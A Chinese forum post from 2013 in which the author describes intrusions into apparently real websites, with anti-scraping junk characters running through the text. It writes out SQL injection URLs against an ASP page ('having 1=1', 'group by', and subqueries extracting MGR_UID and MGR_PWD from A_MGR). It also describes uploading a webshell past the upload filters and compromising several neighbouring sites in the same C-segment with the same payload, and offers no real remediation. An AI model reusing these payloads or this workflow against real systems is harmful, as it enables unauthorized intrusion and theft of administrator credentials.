发现一个注入点
5 v1 m6 g( J$ i& |7 R+ Jhttp://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
3 Z2 T$ q- K! ~* o, M) o+ R( w F- G2 q9 U( Z% A
习惯性的加’having1=1--
X* i! P. Z( n1 F4 e8 h& d, o) Q. f" ?; z
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—1 N$ R- G! R/ I6 @
3 g- Y, |, {+ M
0, i, m0 V2 R/ f9 S
: d" R/ W: u5 {( s
爆出Diary_A.dl_Title（这时候很激动啊）
+ x+ J T2 j2 n" e% S& d& v* n X, d, C
那么继续
2 D& M' S& }% F' zhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—
5 f6 d1 {' d! l' m6 @
. G1 l6 X- r, R* o, Z继续，一直爆下去
' N. n) |5 [. Q* _8 n& s' L7 k/ F
7 C/ Z5 p% f& Y8 ^爆到几个字段和表段 但是没找到需要的管理用户的字段
( W; {3 ]0 _7 @7 }3 @3 s" } `. p+ v* D* }
蛋疼了 怎么办 然后去后台登陆页看源码5 `0 E! t& L- x z0 F' }5 Q% R2 y
, R# }* R4 `2 o0 N
0
3 k8 _1 r: U) J+ ~- n- Z9 x9 n. T( o6 M n
Input name= “ADUID”
3 w1 Q6 `8 c0 f/ i' E; \3 V7 G9 c3 vInput name= “ADPWD”
( e* u/ A }9 O: m! g
& h# I2 Y* [9 L4 D' v) g很幸运 找到了字段那就继续
- c) x+ @, a: S找到之后开始爆用户
7 _; P. Y0 L0 j |http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
# n ]" m! u( v爆密码
4 H( z8 C1 J9 K0 X2 g( m+ Hhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—1 E' [* a# P( ?- S: H
测试了下 这个注入点只能爆到文章哪里的表 + {% _/ L# Y6 j1 |
& ?; r1 o) Y# o+ K
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了
1 M9 C7 k# I, d" ? D; G$ P/ K0 x0 W& N3 g
又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了+ H/ k) p) W' d2 D, a
2 x$ f4 i+ p; o. f( p4730 m+ ` H1 b, t+ v: e
& L+ u1 `" t2 K% h4 u' j& \# x
进后台
4 |: h' {1 N$ ]4 p& ?6 e# @/ g
+ D9 C4 h/ b- `3 z n, l0 X9 U. ?2 Z发现几个上传点 有的地方不能上传 而且防止恶意代码" n7 P- m0 B, {" C
, o2 E+ ]# Y7 @+ K
没办法 各种百度各种找大牛 找到一只好像可以突破的马# `9 b9 F. Y* b' {, ~3 T" C
9 J9 b& d$ L* E8 P; G1 D/ b- X0 ]% \5 n. o" x3 L& R
在系统管理那里直接上传 不过没有显示地址% E+ |+ E% g; j4 V
d" l& q* e1 Y; o5 A, w
再上传一次 抓包 搞定OK8 b8 h n! z" L# o
; H, s4 e! ~2 f" j
9 E! w. \: o/ Z3 S
7 s8 i1 }" ~& V& A) D
472
1 ~7 u( X7 b& o- K
5 D" e9 G/ e6 d7 W晚上不行了 去睡觉。。。
" g: n. ~& g/ a0 l, t' Z第二天刚起床 闲的没事做继续日站吧
& H3 [9 y+ M2 c( N2 G0 V# P0 ]+ O- O% Z# P h/ G! ~7 _
找个站 就把这个站的旁c扫了下
$ x1 a) h3 v2 ~% Z. ~1 A) k Y0 {9 [. K, W
, W7 c$ ?+ J7 G% M. ?+ c8 Z, i+ w& }发现c段也有一个购物站 ，然后还和这个站的模板差不多. `+ G n, M Y4 g- ]
8 E" j" f- h! X- p' ^/ @就找到会员登录口测试1 K4 V8 E0 n: ?2 A3 v
8 l1 V) N- \) ~8 @! e+ b
'and (select top 1 MGR_UID from A_MGR)>0—, `1 [. e% G; n/ T0 b" f; f- x, g
果断爆到了 这时候我很激动 通杀2 i! D. A, H# ]3 P
$ a' m4 w- Q. p, d, h再次翻c段
% D& {5 }& `2 B% m# g" j$ I J, @, `- _" ?
翻出几个站 都成功拿下3 _! i: b# u1 m. |! U
+ e3 z8 \5 A `. c$ G# g0 g" z
* r" `- f- N0 B$ O: z' \. N; Z- _
: G7 o8 }' R/ S5 P/ d9 c+ V% z4 J修复方案：
$ i: q# X+ G. V( v0 ^7 i/ V他们比我专业
2 E+ l9 @) g" m2 ]
, u1 q t& A9 }
: k# f6 o( S& o! \, p U* o) Q' C% x5 X% N4 x2 j
|
发表于 2013-4-4 17:40:38
收藏
支持
反对